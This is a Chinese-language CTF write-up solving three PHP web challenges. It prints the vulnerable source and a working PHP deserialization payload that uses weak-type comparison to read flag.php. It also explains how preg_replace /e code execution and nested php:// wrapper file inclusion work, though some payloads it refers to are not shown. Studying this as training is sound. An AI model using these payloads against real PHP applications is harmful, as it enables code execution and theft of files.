题目一
[网鼎杯 2020 青龙组]AreUSerialz
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
需要get一个str 并反序列化
is_valid函数规定字符的ASCII码必须是32-125
protected属性在序列化后会出现不可见字符\00*\00,由此转化为的ASCII码不符合is_valid函数的要求。
所以可以用public属性来绕过,public序列化后不需要加其他修饰(不可见字符)
在__destruct()中,op==="2"是强比较,而process()使用的是弱比较op==“2”,可以通过弱类型绕过,当op=2时,op==="2"为false,op=="2"为true
<?php
class FileHandler
{
public $op = 2;
public $filename = "flag.php";
public $content;
}
$a=new FileHandler();
echo serialize($a);
?>
若是protected 反序列化结果为
O:11:"FileHandler":3:{s:5:"*op";i:2;s:11:"*filename";s:8:"flag.php";s:10:"*content";N;}
会有 %00*%00来修饰字符串 也就是为什么此时的s分别为5、11、8、10
改为public后
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
补充private属性,反序列化时候需要加%00变量%00
回到题目:
构造payload
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
在源代码中找flag
题目二
[BJDCTF2020]ZJCTF,不过如此
知识点:伪协议读文件
preg_replace /e 模式下的代码执行
构造payload
出现源码(base64解密):
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
代码中涉及preg_replace函数通过/e可以直接执行后面的代码,
题目其实就是要用一个正则表达式,参考文章可以执行后面的函数,所以用\S*使getFlag函数可以执行
得到flag
题目三
[BSidesCF 2020]Had a bad day
知识点:伪协议
读取到的源代码
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
利用include函数特性包含一下尝试读取flag.php
index.php?category=woofers/…/flag
出现:
思考怎样读取flag,参考其他师傅的文章,知道了
伪协议里面可以再套一层协议,构造payload如下,其中既包含了woofers这个字符串,又不会影响正常的包含
解码后得到flag